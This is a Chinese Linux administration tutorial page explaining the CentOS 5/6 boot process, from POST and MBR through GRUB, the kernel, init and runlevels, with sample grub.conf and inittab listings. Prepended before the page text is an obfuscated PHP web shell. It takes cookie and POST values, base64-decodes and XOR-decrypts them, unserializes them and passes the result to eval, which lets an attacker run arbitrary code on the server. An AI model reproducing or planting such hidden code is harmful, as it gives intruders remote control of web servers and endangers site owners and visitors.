$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} CentOS系统启动流程 | Linux运维部落

CentOS系统启动流程

Linux系统(Centos 5、6)启动流程

123.jpg

一、POST加电自检

Power-On-Self-Test 
按下电源键以后,系统调用存储在ROM中的BIOS和存储在RAM中的CMOS(用来保存各项参数的设定)完成系统硬件状态的检查,如果硬件有问题则提示用户问题严重无法开机的会发出警报声音;硬件自检完成后进入下一步。

二、Boot Sequence与MBR

  1. 加电自检完成后,系统会读取BIOS中的Boot Sequence中设置的引导顺序按次序检查。第一个有引导程序的设备既为本次启动需要用到的设备。

  2. 寻找到启动需要的设备后,寻找存储与该设备MBR前446个字节中的bootloader引导加载器进入下一阶段。

    1479977244939269.jpg

三、GRUB阶段

  1. 1st 、 运行bootloader,由于只有446个字节这里是用来加载下一步进程而不是内核。

  2. 1.5st、加载识别文件系统,如果此步骤无法运行就无法正常识别/boot所在分区。

  3. 2nd、 读取/boot/grub/grub.conf配置文件加载内核。

[root@CentOS6 ~]# cat /boot/grub/grub.conf
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE:  You have a /boot partition.  This means that
#          all kernel and initrd paths are relative to /boot/, eg.
#          root (hd0,0)
#          kernel /vmlinuz-version ro root=/dev/sda2
#          initrd /initrd-[generic-]version.img
#boot=/dev/sda
default=0   #系统默认
timeout=5   #超时时间
splashimage=(hd0,0)/grub/splash.xpm.gz   #grub启动壁纸
hiddenmenu  
title CentOS 6 (2.6.32-642.el6.x86_64)  #grub标题
   root (hd0,0) #指定根所在的位置
   kernel /vmlinuz-2.6.32-642.el6.x86_64 ro root=UUID=55ce0d77-cab0-4da4-bb2b-0af5adebf8d6 rd_NO_LUKS rd_NO_LVMLANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16 crashkernel=auto  KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet  #指定内核位置并只读挂载
   initrd /initramfs-2.6.32-642.el6.x86_64.img #指定init位置

四、Kernel阶段

  1. 探测可识别的所有硬件设备;

  2. 加载硬件驱动程序;(有可能会借助于randdisk加载驱动)

  3. 以只读方式挂载根文件系统;

  4. 运行用户空间的第一个应用程序:/sbin/init

五、init初始化

(1)设置默认运行级别(配置文件:/etc/inittab)

运行级别:为了系统的运行或维护等墓地而设定的机制;

[root@C6red ~]# cat /etc/inittab

# Default runlevel. The runlevels used are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
id:3:initdefault:
这里默认级别是3 、 配置文件中的格式是:id:runlevel:action:process。

0-6级别定义
0:关机,shutdown
1:单用户模式(single user),root用户,无需认证;维护模式;
2;多用户模式(multi user),会启动网络功能,但不会启动NFS;维护模式
3;多用户模式(multi user),完全功能模式;文本界面;
4:预留级别;目前无特别使用目的;同3
5:多用户模式(multi user),完全功能模式,图形界面;
6:重启模式,reboot;

默认级别:3、5 
级别切换:init #

[root@C6red ~]# init 4
[root@C6red ~]# who -r
        run-level 4  2016-11-22 21:25                   last=3

级别查看: who -r runlevel

[root@C6red ~]# who -r
        run-level 3  2016-11-22 10:05
[root@C6red ~]# runlevel
N 3
[root@C6red ~]#

(2) 运行系统初始化脚本,完成系统初始化 (/etc/rc.d/rc.sysinit)

[root@CentOS6 ~]# cat /etc/rc.d/rc.sysinit
#!/bin/bash
#
# /etc/rc.d/rc.sysinit - run once at boot time
#
# Taken in part from Miquel van Smoorenburg's bcheckrc.
#

HOSTNAME=$(/bin/hostname)

set -m

if [ -f /etc/sysconfig/network ]; then
   . /etc/sysconfig/network
fi
if [ -z "$HOSTNAME" -o "$HOSTNAME" = "(none)" ]; then
   HOSTNAME=localhost
fi

if [ ! -e /proc/mounts ]; then
   mount -n -t proc /proc /proc
   mount -n -t sysfs /sys /sys >/dev/null 2>&1
fi
if [ ! -d /proc/bus/usb ]; then
   modprobe usbcore >/dev/null 2>&1 && mount -n -t usbfs /proc/bus/usb /proc/bus/usb
else
   mount -n -t usbfs /proc/bus/usb /proc/bus/usb
fi

#remount /dev/shm to set attributes from fstab #669700
mount -n -o remount /dev/shm >/dev/null 2>&1
#remount /proc to set attributes from fstab #984003
mount -n -o remount /proc >/dev/null 2>&1
#####脚本过长以下省略######
主要执行了以下操作


(1)  设置主机名
(2)  设置欢迎信息
(3)  激活udev 和selinux
(4)  挂载/etc/fstab 文件中定义的文件系统
(5)  检测根文件系统,并以读写方式重新挂载根文件系统
(6)  设置系统时钟
(7)  激活swap 设备
(8)  根据/etc/sysctl.conf 文件设置内核参数
(9)  激活lvm 及software raid 设备
(10)  加载额外设备的驱动程序
(11) 执行清理操作

(3) 关闭对应级别下需要停止的服务,启动对应级别下需要开启的服务; 
(4) 设置登陆终端[5级别启动图形界面]


至此Centos6系统启动完成

原创文章,作者:M21-13-王振中,如若转载,请注明出处:http://www.178linux.com/60614

(0)
上一篇 2016-11-24 15:29
下一篇 2016-11-24 17:07

相关推荐

  • 三问:linux操作系统安全加固

    三问:linux操作系统安全加固 1.为什么要进行安全加固?     安全加固的重要性不言而喻。我这里把操作系统同马斯洛需求层次做了个类比,如有不恰当之处,还请指教。同人一样,操作系统也有自己的生理需求,对于人来说生理需求无非吃喝拉撒等,而对于操作系统来说它的生理需求又是什么了?我个人认为应该是底层硬件的配置,内核的驱…

    Linux干货 2017-03-30
  • loganalyzer——日志分析工具

    Loganalyzer是一款syslog日志和其他网络事件数据的Web前端。它提供了对日志的简单浏览、搜索、基本分析和一些图表报告的功能。数据可以从数据库或一般的syslog文本文件中获取,所以LogAnalyzer不需要改变现有的记录架构。基于当前的日志数据,它可以处理syslog日志消息,Windows事件日志记录,支持故障排除,使用户能够快速查找日志数…

    Linux干货 2016-10-18
  • iptables实现地址转换

    NAT:(工作在网络和传输层) 过载技术 Basic NAT:静态NAT     一个内部主机,分配一个外网地址 NAPT:动态NAT,网络地址端口转换;net会话表     源地址转换:SNAT 用于内网主机访问互联网    &…

    Linux干货 2016-10-31
  • 第一周总结(linux系统初识和简单命令)

    一、linux操作系统初识         了解操作系统之前我们需要先了解一下计算机的硬件组成,因为操作系统都是运行在硬件之上。遵循冯诺依曼体系,计算机是由控制器、运算器、存储器、输入设备、输出设备五部分组成。对应到我们现在使用计算机上硬件分别为:        &nb…

    Linux干货 2016-12-26
  • class13 shell编程(五)软件包管理(三)

    一、shell编程(五) 位置变量补充 shift (踢掉参数) shift                #! /bin/bashecho "1st arg …

    Linux干货 2016-08-24
  • 关于高级文件管理系统的几个实验

    实验1:用软件模拟生成RAID (1)选择磁盘或者创建新的分区lsblk 选择bcde四块磁盘 创建新的分区 每个为5Gfdisk(gdisk) /dev/sdb 交互式方式创建 选择分区ID为raid 6.7编号不一样!!! >可能需要同步内核中的磁盘分区表 centos6中用partx -a centos7中用 partprobe命令 (2)创建R…

    2017-08-12